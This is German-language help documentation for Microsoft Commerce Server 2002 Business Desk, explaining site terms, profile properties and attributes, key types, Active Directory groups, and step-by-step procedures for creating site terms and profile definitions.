Sitebegriff Sitebegriffeigenschaften sind einem Sitebegriff zugeordnet. Sitebegriffeigenschaften können ein- oder mehrwertig sein.
  • Einwertige Sitebegriffeigenschaften ermöglichen den Benutzern nur die Auswahl eines Wertes.
  • Mehrwertige Sitebegriffeigenschaften ermöglichen den Benutzern die Auswahl mehrerer Werte.

So könnte die Anwendung den Benutzern beispielsweise gestatten, durch Drücken der STRG-Taste und Klicken auf die gewünschten Werte in der Dropdownliste für die Sitebegriffe mehrere Sitebegriffswerte in Ihrer Website auszuwählen.

Die in dieser Eigenschaft gespeicherten Werte müssen gültige Werte aus der Liste von Begriffsnamen sein, die mit diesem Sitebegriff verbunden ist. Sitebegriffseigenschaften werden Datenelementen vom Typ Zeichenfolge zugeordnet und haben eine Maximallänge von 255 Unicode-Zeichen. Mehrere Werte einer Sitebegriffseigenschaft werden als Zeichenfolgen gespeichert, die durch Semikolons voneinander getrennt sind.
Profil Profile sind einer Profildefinition zugeordnet. Eine Eigenschaft, die eine eingebettete Profildefinition enthält, kann ein- oder mehrwertig sein. Die in dieser Eigenschaft gespeicherten Werte sollten der Primärschlüssel bestimmter Instanzen der zugeordneten Profile sein.

Eine einwertige Eigenschaft, die eine eingebettete Profildefinition enthält, ermöglicht das Erstellen eines einzelnen Profils mit der eingebetteten Profildefinition. Eine mehrwertige Eigenschaft, die eine eingebettete Profildefinition enthält, ermöglicht das Erstellen einer unbegrenzten Anzahl von Profilen (einzige Beschränkung bildet die Systemkapazität) mit der eingebetteten Profildefinition.

Profileigenschaften werden Datenelementen vom Typ Zeichenfolge zugeordnet und haben eine Maximallänge von 255 Unicode-Zeichen. Sie können in eine einzelne Profildefinition eine unbegrenzte Anzahl von Profildefinitionen einbetten. Mithilfe des Moduls "Profil-Editor" können Sie bis zu vier Ebenen eingebetteter Profile aus dem Profil Container bearbeiten, darunter das Profil Container.


Profilattribute

Jede Profileigenschaft verfügt über Attribute. Attribute liefern Informationen über eine Eigenschaft. Die Eigenschaft Vorname hat beispielsweise folgende Attribute: Name, Angezeigter Name, Beschreibung und Typ.

Attribute enthalten Informationen wie beispielsweise über den Datentyp der Profileigenschaft (z. B. Zahl, Text, Dezimal oder Sitebegriff) und darüber, ob die Eigenschaft einwertig (wenn z. B. pro Benutzer nur ein Vorname eingegeben werden kann) oder mehrwertig ist. Sie können auch festlegen, ob die Daten exportiert werden können. Daten können z. B. in das Data Warehouse exportiert werden.

Es gibt zwei besondere Attributtypen:

  • Benutzerdefinierte Profilattribute
  • Erweiterte Profilattribute

Benutzerdefinierte Profilattribute

Benutzerdefinierte Profilattribute sind anwendungsspezifische Attribute. Benutzerdefinierte Attribute können für einzelne Eigenschaften definiert werden. Sie können z. B. ein benutzerdefiniertes Attribut erstellen, das festlegt, wie eine Eigenschaft auf der Seite einer Website angezeigt wird. Informationen zum Hinzufügen benutzerdefinierter Profilattribute zu einer Eigenschaft finden Sie unter Hinzufügen von benutzerdefinierten Attributen zu einer Profileigenschaft.

Benutzerdefinierte Attribute steuern, wie allgemeine Profile auf den Bildschirmen Suchen und Profil bearbeiten des Moduls "Profil-Editor" angezeigt werden.

Für neu erstellte allgemeine Profile müssen Sie die benutzerdefinierten Attribute sDisplayColumn und sFriendlyName festlegen. Wenn diese Attribute nicht definiert werden, wird die Schaltfläche Suchen nicht aktiviert, und Sie können somit nicht nach Instanzen dieser Profile suchen.

  • sDisplayColumn. Der Anzeigename der im Bildschirm Suchen als Spaltenname angezeigten Eigenschaft.

    Eigenschaften mit dem benutzerdefinierten Attribut sDisplayColumn werden im Bildschirm Suchen von links nach rechts in der Reihenfolge angezeigt, in der sie in der Eigenschaftenliste des Bildschirms Profil erscheinen. Der Wert des benutzerdefinierten Attributs sDisplayColumn bestimmt die relative Breite der Spalte für diese Eigenschaft. Wenn der Wert der Spaltenbreite für die erste Eigenschaft beispielsweise zwei lautet und der Wert für die zweite Eigenschaft vier, ist die zweite Spalte doppelt so breit wie die erste.

    Hinweise

    • Bei diesem Attribut wird zwischen Groß- und Kleinschreibung unterschieden. Die maximale Breite beträgt 100.
    • Wenn ein Profil nur eine Eigenschaft enthält, für die das benutzerdefinierte Attribut sDisplayColumn definiert ist, wird der Inhalt der Profilanzeigespalte für diese Eigenschaft standardmäßig in aufsteigender Reihenfolge sortiert.
    • Eigenschaften mit diesem Attribut können nicht als Verbindungsschlüssel oder als dualer Schlüssel definiert werden.
    • Eigenschaften mit diesem Attribut können kein Sitebegriff oder Profiltypverweis sein und müssen einem Datenelement zugeordnet werden.
  • sFriendlyName. Der Anzeigename der Eigenschaft wird in der Titelleiste des Bildschirms Profil bearbeiten Profilanzeigename angezeigt.

    Der Anzeigename der Eigenschaft wird auch als erste Spalte auf der linken Seite des Bildschirms Suchen verwendet.

    Hinweise

    • Bei diesem Attribut wird zwischen Groß- und Kleinschreibung unterschieden.
    • Eigenschaften mit diesem Attribut können nicht als Verbindungsschlüssel oder als dualer Schlüssel definiert werden.
    • Eigenschaften mit diesem Attribut können kein Sitebegriff oder Profiltypverweis sein und müssen einem Datenelement zugeordnet werden.

Erweiterte Profilattribute

Mithilfe von erweiterten Profilattributen können Sie die Art und Weise, wie Ihre Anwendungen eine Profileigenschaft verwenden, ändern.

Die folgende Tabelle enthält die erweiterten Attribute und den Zweck jedes Attributs.

Attribut | Zweck
Aktiv Zeigt an, ob diese Eigenschaft durch das Profilsystem verfügbar ist. Inaktive Eigenschaften werden in Business Desk nicht angezeigt.

Hinweis

  • Eine Eigenschaft kann nur aktiv sein, wenn sie Daten zugeordnet ist.
Daten zuordnen | Das Datenelement, dem die Eigenschaft zugeordnet wird. Sie können Profile basierend auf einer gegebenen Profildefinition nur dann hinzufügen, löschen oder bearbeiten, wenn dieser Profildefinition mindestens eine Eigenschaft zugeordnet ist.
Schlüsseltyp Es können vier Schlüsseltypen zugeordnet werden:
  • Eindeutiger Schlüssel. Gibt an, dass der Wert dieser Eigenschaft für alle Elemente eindeutig ist. Ein als eindeutiger Schlüssel definiertes Attribut wird einem eindeutigen Feld in einer SQL Server-Datenbank oder einem eindeutigen Attribut in einer LDAP-Datenquelle (Lightweight Directory Access Protocol, LDAP) zugeordnet.

    Eindeutiger Schlüssel wird rechts neben einer Eigenschaft angezeigt, der ein eindeutiger Schlüssel zugewiesen ist.

  • Primärschlüssel. Gibt an, dass der Wert dieser Eigenschaft für alle Elemente eindeutig ist. Ein als Primärschlüssel definiertes Attribut wird einem Primärschlüsselfeld in einer SQL Server-Datenbank oder einem eindeutigen Attribut in einer LDAP-Datenquelle zugeordnet. Der Primärschlüssel wird verwendet, um Profile, die mit eingebetteten Profildefinitionen erstellt wurden, zueinander in Beziehung zu setzen.

    Eindeutiger Schlüssel wird links neben einer Eigenschaft angezeigt, der ein Primärschlüssel zugewiesen ist.

  • Verbindungsschlüssel. Verbindet mehrere Datenspeicher anhand einer gemeinsamen Eigenschaft im Profildienst. Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie die Datenbankspalten löschen, die die Verbindungsschlüsseldaten enthalten. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.

    Verbindungsschlüssel wird links neben einer Eigenschaft angezeigt, der ein Verbindungsschlüssel zugewiesen ist.

  • Dualer (Primär- und Verbindungs-) Schlüssel. Gibt an, dass der Wert dieser Eigenschaft eindeutig ist, und verbindet diese Eigenschaft mit einer Eigenschaft in einem anderen Datenspeicher.

    Dualer Schlüssel wird links neben einer Eigenschaft angezeigt, der ein dualer Schlüssel zugewiesen ist.

Erforderlich Gibt an, dass die Eigenschaft obligatorisch ist.

Hinweis

  • Wenn eine Eigenschaft erforderlich ist, muss sie ebenfalls aktiv sein.
Exportiert | Legt fest, dass die Eigenschaft in das Data Warehouse importiert wird.
Cacheload verzögern | Gibt an, dass die jeweilige Eigenschaft zunächst beim Abrufen des Profils nicht geladen wird, und erst dann geladen wird, wenn ein Zugriff auf diese Eigenschaft erfolgt.
Mehrwertig Aktiviert das Erfassen einer Wertesammlung, die der Eigenschaft zugeordnet ist.

Hinweis

  • Das Durchsuchen von mehrwertigen Eigenschaften ist nicht möglich.
Suche aktivieren Gibt an, dass die jeweiligen Eigenschaften im zu Grunde liegenden Datenspeicher indiziert sind und für das Suchen über die Funktion Suchen nach zur Verfügung stehen. Ein für die Suche aktiviertes Attribut wird einem indizierten Feld in der SQL Server-Datenbank oder in der LDAP-Quelle zugeordnet.

Hinweis

  • Wenn das Durchsuchen einer Eigenschaft möglich ist, kann diese Eigenschaft nicht mehrwertig sein.
RDN | Gibt den RDN (Relative Distinguished Name) für einen Verzeichnisspeicher an. Wird dieses Attribut für eine Eigenschaft aktiviert, dann wird dieses Element dem RDN-Attribut einer LDAP-Klasse im zu Grunde liegenden Speicher zugeordnet. Dies gilt nicht für OLE DB-Quellen (OLE DB Provider von Microsoft Commerce Server) oder andere Datenquellentypen.
Hashschlüssel | Gibt an, dass diese Eigenschaft zur Verteilung von Profilinstanzen über mehrere Partitionen verwendet wird. Um dieses Profil abzurufen, muss eine Abfrage über diesen Schlüssel erfolgen.

Verwenden von Hashschlüsseln zum Speichern von Profildefinitionsdaten in mehreren Datenbanken

Ein Hashschlüssel ist ein eindeutiger Schlüssel, der zur Verbindung von Daten verwendet wird, die aus einer einzigen Quelle (in diesem Fall aus einer Profildefinition) stammen, aber physisch in mehreren Datenbanken gespeichert sind. Datenquellen verwenden Hashschlüssel zum Partitionieren von Daten über mehrere Datenbanken hinweg. Sie verwenden die Profilressource (oder das Modul "Profildefinitions-Designer" in Commerce Server Business Desk) zur Auswahl einer Profileigenschaft, die als Hashschlüssel für eine Profildefinition verwendet werden soll.

Wenn Sie keine Profildefinition als Hashschlüssel definieren, werden alle mit einer Profildefinition gesammelten Daten in der Datenbank gespeichert, die der Standardpartition zugewiesen ist. Wenn Sie einen Hashschlüssel einmal definiert haben, können Sie ihn nicht neu definieren. Informationen zum Definieren von Hashschlüsseln finden Sie unter Hinzufügen von Eigenschaften zu einer Profildefinition.

Siehe auch

Hinzufügen von Eigenschaften zu einer Profildefinition

Hinzufügen von benutzerdefinierten Attributen zu einer Profileigenschaft


Sitebegriffe

Ein Sitebegriff ist ein von Ihnen erstellter Datentyp. Dabei handelt es sich um eine Liste bestimmter Werte (auch Begriffe genannt), die für Ihre Site relevant sind. Mit Sitebegriffen weisen Sie einer Eigenschaft eine Liste von Werten als Attribut zu.

Es stehen zwei Arten von Sitebegriffen zur Verfügung.

  • Einwertige Sitebegriffe. Benutzer, die Ihre Site besuchen, können nur einen Wert aus der Dropdownliste für die Sitebegriffe auswählen.
  • Mehrwertige Sitebegriffe. Benutzer, die Ihre Site besuchen, können mehrere Werte aus der Dropdownliste für die Sitebegriffe auswählen. Beispielsweise können Sie einen mehrwertigen Sitebegriff einrichten, um Benutzern die Möglichkeit einzuräumen, mehrere Hobbys oder Traumreiseziele auszuwählen.

    Durch die Verwendung eines mehrwertigen Sitebegriffs geben Sie Benutzern die Möglichkeit, mehrere Optionen zu einem ähnlichen Thema auszuwählen (z. B. die Angabe zweier Hobbys). Auf diese Weise können Sie verhindern, dass beim Abfragen ausführlicher Informationen von den Benutzern einige Fragen doppelt gestellt werden (z. B. ob sie gern nach Paris und nach Mexico-Stadt reisen). Mehrere Werte, die ein Benutzer für einen Sitebegriff auswählt, werden in Form einer durch Semikolons getrennten Zeichenfolge gespeichert.

Wenn Sie z. B. einen Sitebegriff für die Wahl einer Lieblingsfarbe erstellen, bieten Sie eine Liste mit Farben an, aus denen die Benutzer ihre Lieblingsfarbe wählen können. Der Sitebegriff Lieblingsfarbe schränkt die Farbauswahl auf die Farben ein, die Sie anbieten. Benutzer, die Variationen von Violett wie Mauve, Purpur oder Lavendel bevorzugen, müssen dann jedoch z. B. Violett wählen.

Mithilfe des Moduls "Sitebegriffs-Editor" werden Sitebegriffe erstellt und verwaltet.

Mithilfe von Sitebegriffen können folgende Funktionen ausgeführt werden:

  • Standardisieren und Einschränken von Auswahlmöglichkeiten, wenn eine Benutzereingabe in der Site erforderlich ist.
  • Vermeiden von Schreibvarianten bei der Benutzereingabe.
  • Anpassen von Werten, wie eine Produktfarbe und die Lieblingsfarbe eines Benutzers, sodass Inhalte zielgruppengerecht an den Benutzer vermittelt werden können. Wenn beispielsweise die Eigenschaft Farbe eines Produkts Violett ist, können Sie es an den Sitebegriff Lieblingsfarbe anpassen und anschließend dem Benutzer für das violette Produkt zusenden.

In einem Formular Ihrer Website werden den Benutzern Sitebegriffe als Felder in einer Dropdownliste dargestellt.

Siehe auch

Sitebegriffsgruppen

Beispielsitebegriffe

Erstellen einer Sitebegriffsgruppe

Erstellen eines Sitebegriffs


Sitebegriffsgruppen

Mithilfe von Sitebegriffsgruppen werden Sitebegriffe im Sitebegriffs-Editor organisiert. Angenommen, Sie verfügen z. B. über 50 Sitebegriffe. Davon verwenden Sie 10 Begriffe, um Informationen über die Produktvorlieben eines Benutzers zu sammeln, 20 Begriffe für Informationen über seine Lebensweise und weitere 20 Begriffe, um Informationen über die Meinungen eines Benutzers zu aktuellen Ereignissen zu erhalten. In einem solchen Fall können Sie für die Sitebegriffe zu den Produktvorlieben eine Sitebegriffsgruppe mit dem Namen Produkte, für die Sitebegriffe zur Lebensweise eine Gruppe mit dem Namen Lebensstil und für die restlichen Begriffe eine Sitebegriffsgruppe mit dem Namen Ansichten erstellen.

Siehe auch

Sitebegriffe

Beispielsitebegriffe

Erstellen einer Sitebegriffsgruppe

Erstellen eines Sitebegriffs


Beispielsitebegriffe

Die Commerce Server-Lösungssites enthalten Beispielsitebegriffe. Wenn Ihre Website auf einer Lösungssite basiert, sollten Sie über folgende Sitebegriffsgruppen, Sitebegriffe und die dazugehörigen Begriffe (Werte) verfügen können:

Sitebegriffsgruppen | Sitebegriffe | Begriffe
Benutzersitebegriffe | Kontostatus | Aktives Konto Inaktives Konto
 | Benutzerrolle | Normaler Benutzer Administrator
 | Benutzertyp | Anonymer Benutzer Registrierter Benutzer
 | Sprachen | Zum Beispiel: Englisch Französisch Deutsch Japanisch Spanisch
Kalendersitebegriffe | Tage | Sonntag Montag Dienstag Mittwoch Donnerstag Freitag Samstag
 | Monate | Januar Februar März April Mai Juni Juli August September Oktober November Dezember

Siehe auch

Erstellen einer Sitebegriffsgruppe

Erstellen eines Sitebegriffs


Active Directory-Gruppen

Mit dem Modul "Gruppen-Manager" verwalten Sie die Mitgliedschaften in Active Directory-Gruppen. Für die Arbeit mit dem Modul "Gruppen-Manager" müssen folgende Voraussetzungen erfüllt sein:

  • Ihre Site und Business Desk basieren auf der SupplierAD-Lösungssite.
  • Mindestens eine Eigenschaft der Profildefinition Benutzerobjekt ist einer Active Directory-Datenquelle zugeordnet.
  • Der Systemadministrator erstellt Active Directory-Gruppen und weist diesen Berechtigungen für den Zugriff auf die Site zu.

Mit dem Modul "Gruppen-Manager" können Sie Benutzer zu den Active Directory-Gruppen hinzufügen und daraus entfernen. Wenn ein Benutzer einer Active Directory-Gruppe hinzugefügt wird, verfügt dieser über die für diese Active Directory-Gruppe geltenden Zugriffsrechte.

Dieser Abschnitt beinhaltet folgende Themen:

Verwalten des Benutzerzugriffs auf Ihre Site mithilfe von Active Directory-Gruppen

Siehe auch

Hinzufügen von Benutzern zu einer Active Directory-Gruppe

Hinzufügen von Gruppen zu einer Active Directory-Gruppe


Verwalten des Benutzerzugriffs auf Ihre Site mithilfe von ActiveDirectory-Gruppen

Feedback zu dieser Seite senden Commerce Server 2002

Verwalten des Benutzerzugriffs auf Ihre Site mithilfe von Active Directory-Gruppen

Mit dem in Commerce Server Business Desk enthaltenen Modul "Gruppen-Manager" verwalten Sie Mitgliedschaften in Active Directory-Gruppen. Für die Arbeit mit dem Modul "Gruppen-Manager" müssen folgende Voraussetzungen erfüllt sein:

  • Ihre Site und Business Desk basieren auf der SupplierAD-Lösungssite.
  • Sie ordnen mindestens eine Eigenschaft der Profildefinition Benutzerobjekt einer Active Directory-Datenquelle zu.
  • Sie erstellen Active Directory-Gruppen im Commerce Server-Manager mithilfe des Gruppen-Managers für Windows Active Directory.

Mit dem Gruppen-Manager für Active Directory erstellen Sie Active Directory-Gruppen und legen dafür Zugriffsberechtigungen für die Site fest. Mit dem Business Desk-Modul "Gruppen-Manager" können Sie Benutzer zu den Active Directory-Gruppen hinzufügen und daraus entfernen. Wenn ein Benutzer einer Active Directory-Gruppe hinzugefügt wird, verfügt dieser über die für diese Active Directory-Gruppe geltenden Zugriffsrechte.

Informationen zum Erstellen von Active Directory-Gruppen finden Sie in der Hilfe zu Microsoft Windows.

Siehe auch

Hinzufügen von Benutzern zu einer Active Directory-Gruppe

Hinzufügen von Gruppen zu einer Active Directory-Gruppe


Tipps zur Arbeit mit Business Desk-Profilen

Im vorliegenden Thema finden Sie Tipps für die Erstellung und Verwaltung von Profilen.

  • Verwenden Sie das Modul "Berechtigungen" in der Kategorie "Sicherheit", um Profilen, Profildefinitionen, Sitebegriffen und Profileigenschaften Berechtigungen zuzuweisen.
  • Bei der Erstellung von Profileigenschaften müssen Sie Unicode-Zeichenfolgen verwenden. Commerce Server 2002 unterstützt keine Nicht-Unicode-Zeichenfolgen in Profileigenschaften.
  • Um ein neues Profil auf der Grundlage einer vorhandenen allgemeinen Profildefinition zu errichten, muss die Profildefinition zwei benutzerdefinierte Attribute enthalten:
    • Das Attribut sDisplayColumn weist eine Eigenschaft als Titel für eine Spalte auf dem Bildschirm Suchen des Moduls "Profil-Editor" zu. Wenn das Attribut sDisplayColumn für eine Profildefinition nicht eingerichtet ist, kann Commerce Server Business Desk die für diese Profildefinition erstellten Profile nicht auf dem Bildschirm Suchen des Moduls "Profil-Editor" anzeigen, und Sie können die Profile nicht bearbeiten.
    • Das Attribut sFriendlyName legt fest, welche Eigenschaft als am weitesten links stehende Spalte auf dem Bildschirm Suchen im Modul "Profil-Editor" sowie in der Titelleiste des Bildschirms Profil bearbeiten: Anzeigename im Modul "Profil-Editor" angezeigt wird. Informationen über benutzerdefinierte Attribute und über das Hinzufügen dieser Attribute zu einer Profildefinition finden Sie unter Hinzufügen von Eigenschaften zu einer Profildefinition.
  • Verlegen Sie die Veröffentlichung von Profiländerungen in Ihrer Website nach Möglichkeit auf Zeiten, zu denen die Website nicht so stark frequentiert ist. Wenn Sie Profiländerungen in Ihrer Website während der Spitzenzeit veröffentlichen, führt dies mit hoher Wahrscheinlichkeit zum Absturz der Site.


Erstellen einer Sitebegriffsgruppe

Mithilfe des Sitebegriffs-Editor-Moduls können Sitebegriffsgruppen erstellt werden, in denen verwandte Sitebegriffe zusammen angeordnet sind. Wenn Sie beispielsweise Sitebegriffe zum Thema "Hobbys" erstellen, können Sie eine Sitebegriffsgruppe für jede Hobbykategorie erstellen, beispielsweise Kreative Hobbys oder Reisen, und innerhalb einer solchen Kategoriegruppe einen Sitebegriff für die einzelnen Hobbys in dieser Kategorie erstellen. Sie können beispielsweise die folgenden Sitebegriffsgruppen erstellen:

Sitebegriffsgruppe Kreative Hobbys mit den folgenden Sitebegriffen:

  • Handwerk (Nähen, Puppenbau, Prägen)
  • Kunst (Zeichnen, Malen, Bildhauerei),
  • Theater (Schauspiel, Produktion)
  • Musik (Klassik, Jazz, Rock)

Sitebegriffsgruppe Reisen mit den folgenden Sitebegriffen:

  • Kreuzfahrten (Karibik, Europa, China, Alaska)
  • Städtereisen (London, Paris, Mexico-Stadt, Hongkong, Washington D.C.)
  • Erlebnisreisen (Rafting, Bergsteigen, Fahrradtouren)

Sitebegriffsgruppen erscheinen in der Sitebegriffstrukturliste im Bildschirm des Sitebegriffs-Editors mit einem Pfeil links neben dem Gruppennamen. Klicken Sie auf den Pfeil, um die Liste mit Sitebegriffen zu erweitern.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So erstellen Sie eine Sitebegriffsgruppe

  1. Klicken Sie im Menü Profile auf die Option Sitebegriffs-Editor.
  2. Klicken Sie im Bildschirm Sitebegriffs-Editor auf Hinzufügen.
    Hinweise
    • Nun können Sie die Sitebegriffe organisieren, indem Sie eine Hierarchie von Sitebegriffsgruppen erstellen. Zum Erstellen einer Hierarchie von Sitebegriffsgruppen wählen Sie eine vorhandene Sitebegriffsgruppe aus, zu der Sie eine neue Sitebegriffsgruppe hinzufügen möchten, und klicken Sie anschließend auf Hinzufügen.
    • Wenn Sie eine Sitebegriffsgruppe ausgewählt haben, wird die neu erstellte Gruppe der ausgewählten Sitebegriffsgruppe untergeordnet. Wenn Sie die Auswahl einer Sitebegriffsgruppe vor dem Hinzufügen einer neuen Gruppe aufheben möchten, müssen Sie auf der Symbolleiste auf Zurück klicken und anschließend unter Profile die Option Sitebegriffs-Editor auswählen.
  3. Wählen Sie im Dialogfeld Hinzufügen die Option Neue Gruppe hinzufügen, und klicken Sie anschließend auf OK.
  4. Führen Sie im Bildschirm Sitebegriffs-Editor im Bereich Attribute folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen programmgesteuerten Namen für die neue Begriffsgruppe ein. Der Name kann bis zu 128 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der für die neue Begriffsgruppe angezeigt werden soll. Der angezeigte Name kann aus maximal 128 Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung für die neue Sitebegriffsgruppe ein.
  5. Wenn die neue Sitebegriffsgruppe übernommen und in der Strukturliste der Sitebegriffe angezeigt werden soll, klicken Sie auf Übernehmen.

    Hinweis

    • Sie können beliebig viele Sitebegriffsgruppen hinzufügen. Klicken Sie auf Hinzufügen, um eine weitere Sitebegriffsgruppe hinzuzufügen.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die neue Sitebegriffsgruppe zu speichern und zum Hauptbildschirm Business Desk zurückzukehren.

Die Sitebegriffsgruppe wird gespeichert. Nun können Sie die Sitebegriffsgruppe verwenden, um Ihre Sitebegriffe zu organisieren.

Siehe auch

Workflow für die Profilverwaltung

Erstellen eines Sitebegriffs

Bearbeiten von Sitebegriffen

Hinzufügen von Begriffen zu Sitebegriffen


Erstellen eines Sitebegriffs

Das Sitebegriffs-Editor-Modul wird verwendet, um Sitebegriffe zu erstellen und diesen anschließend Begriffe (Werte) hinzuzufügen.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So fügen Sie einen Sitebegriff hinzu

  1. Klicken Sie im Menü Profile auf die Option Sitebegriffs-Editor.
  2. Wählen Sie im Bildschirm Sitebegriffs-Editor die Gruppe aus, zu der Sie den Sitebegriff hinzufügen möchten, und klicken Sie anschließend auf Hinzufügen.
  3. Wählen Sie im Dialogfeld Hinzufügen die Option Neuen Sitebegriff hinzufügen, und klicken Sie anschließend auf OK.
  4. Führen Sie im Bildschirm Sitebegriffs-Editor im Bereich Sitebegriffsattribute folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen programmgesteuerten Namen für den neuen Sitebegriff ein, z. B. Lieblingsfarbe. Der Name kann bis zu 128 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie einen Namen für den neuen Sitebegriff ein. Dieser Name wird den Benutzern in der Website angezeigt. Wählen Sie z. B. Lieblingsfarbe. Der angezeigte Name kann aus maximal 128 Zeichen bestehen.
    Beschreibung | Geben Sie eine identifizierende Beschreibung für den neuen Sitebegriff ein.
  5. Wenn der neue Sitebegriff übernommen und in der Strukturliste der Sitebegriffe angezeigt werden soll, klicken Sie auf Übernehmen.

    Hinweis

    • Sie können beliebig viele Sitebegriffe hinzufügen. Klicken Sie auf Hinzufügen, um einen anderen Sitebegriff hinzuzufügen.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den neuen Sitebegriff zu speichern und zum Bildschirm Business Desk zurückzukehren.

Der Sitebegriff wird gespeichert. Nun können Sie diesem Sitebegriff neue Begriffe (Werte) hinzufügen. Informationen über das Hinzufügen von Begriffen zu einem Sitebegriff finden Sie unter Hinzufügen von Begriffen zu Sitebegriffen.

Siehe auch

Erstellen einer Sitebegriffsgruppe

Hinzufügen von Eigenschaften, mit denen Sitebegriffe zugeordnet werden

Hinzufügen von Begriffen zu Sitebegriffen


Hinzufügen von Begriffen zu Sitebegriffen

Mit dem Sitebegriffs-Editor-Modul fügen Sie Ihren Sitebegriffen Begriffe (Werte) hinzu.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So fügen Sie einem Sitebegriff Begriffe hinzu

  1. Klicken Sie im Menü Profile auf die Option Sitebegriffs-Editor.
  2. Erweitern Sie im Bildschirm Sitebegriffs-Editor die Sitebegriffsgruppe, die den Sitebegriff enthält, zu dem Sie die Begriffe hinzufügen möchten, und wählen Sie dann den Sitebegriff aus.
  3. Führen Sie im Bildschirm Sitebegriffs-Editor im Bereich Begriffe folgende Schritte aus:
    Funktion | Aktion
    Begriffsname | Klicken Sie auf Neu, und geben Sie für den neuen Begriff einen Namen ein. Ein Begriff stellt den Wert eines Sitebegriffs dar. Beispielsweise könnten Sie als Begriffe für den Sitebegriff Lieblingsfarbe die Werte Rot, Blau, Grün und Gelb eingeben. Der Name kann bis zu 128 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie einen Namen für den neuen Begriff ein. Dieser Name wird den Benutzern in der Website angezeigt. Der angezeigte Name kann aus maximal 128 Zeichen bestehen.
  4. Um den neuen Begriff zu übernehmen und ihn in der Begriffsliste anzuzeigen, klicken Sie auf Übernehmen.

    Hinweis

    • Zu dem neuen Sitebegriff können beliebig viele Begriffe hinzugefügt werden. Klicken Sie auf Neu, um einen weiteren Begriff hinzuzufügen.
  5. Um den Sitebegriff mit den neuen Begriffen zu übernehmen, klicken Sie auf Übernehmen.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den Sitebegriff mit den neuen Begriffen zu speichern und zum Bildschirm Business Desk zurückzukehren.

Der Sitebegriff wird gespeichert. Sie können den Sitebegriff nun zu einer Profildefinition hinzufügen.

Nach der Erstellung der Sitebegriffe können Sie eine Profildefinition erstellen, die die Sitebegriffe enthält. Sie können beispielsweise den Sitebegriff Lieblingsfarbe erstellen und diesen dann der Profildefinition Benutzerobjekt hinzufügen. Wenn der Benutzer in Ihrer Website nun auf die Frage nach seiner Lieblingsfarbe antwortet, wählt er aus den Begriffen einer Dropdownliste, die Sie im Sitebegriff Lieblingsfarbe eingetragen haben, eine Farbe aus.

Siehe auch

Hinzufügen von Eigenschaften, mit denen Sitebegriffe zugeordnet werden

Informationen über Business Desk-Sicherheit


Erstellen einer Profildefinition

Der Systemadministrator kann mithilfe der Profilressource des Commerce Server-Managers allgemeine Profildefinitionen entsprechend den Anforderungen Ihres Unternehmens erstellen. Allgemeine Profildefinitionen sind Profildefinitionen, bei denen es sich um andere als die Profildefinitionen Benutzer oder Organisation handelt, beispielsweise die Profildefinition Adresse. Mithilfe des Moduls "Profil-Editor" bearbeiten und löschen Sie Profile, die mit allgemeinen Profildefinitionen erstellt wurden.

Vor der Erstellung einer Profildefinition muss der Systemadministrator die folgenden Tasks ausführen:

  1. Festlegen, wo die Profildaten gespeichert werden sollen.
  2. Platz zum Speichern der Daten schaffen, beispielsweise durch Hinzufügen neuer Spalten zu einer Datenbank.
  3. Die Datenelemente erstellen, die verwendet werden, um die einzelnen mit einer Profildefinition gesammelten Dateneinheiten zum Speicherplatz in der Datenbank zuzuordnen (zu verbinden).

Die Commerce Server-Lösungssites enthalten folgende Beispielprofildefinitionen:

  • Adresse
  • Pauschalbestellungen
  • Organisation
  • Zielgruppenadressierungs-Kontext
  • Benutzerobjekt

In der Profildefinition Benutzerobjekt sind fünf ungenutzte Datenelemente und fünf ungenutzte Datenbankspalten enthalten, sodass Sie der Profildefinition Benutzerobjekt bis zu fünf Eigenschaften hinzufügen und zuordnen können, ohne den Systemadministrator bitten zu müssen, die Datenbank zu erweitern. Eine Liste von Eigenschaften der einzelnen Profildefinitionen finden Sie unter Beispielprofildefinitionen.

Siehe auch

Erstellen einer Profildefinition in der Profilressource


Hinzufügen einer Eigenschaftsgruppe zu einer Profildefinition

Mit dem Modul "Profildefinitions-Designer" werden Eigenschaftsgruppen zu Profildefinitionen hinzugefügt. Eigenschaftsgruppen werden verwendet, um Profileigenschaften im Profildefinitions-Designer zu organisieren. Beispiel: Sie fügen zur Profildefinition eines Benutzerobjekts 50 Eigenschaften hinzu, um Daten über Produktvorlieben, Lebensstil und Meinungen der Besucher Ihrer Website zu sammeln. Anschließend können Sie Eigenschaftsgruppen erstellen (z. B. "Produkt", "Lifestyle" und "Meinungen") und darin die Eigenschaften so anordnen, dass sie im Bildschirm Profildefinitions-Designer in der Liste Eigenschaften leicht zu finden sind.

Eigenschaftsgruppen erscheinen im Bildschirm Profildefinitions-Designer in der Liste Eigenschaften mit einem Pfeil links neben dem Gruppennamen. Klicken Sie auf den Pfeil, um die Liste der Eigenschaften zu erweitern.

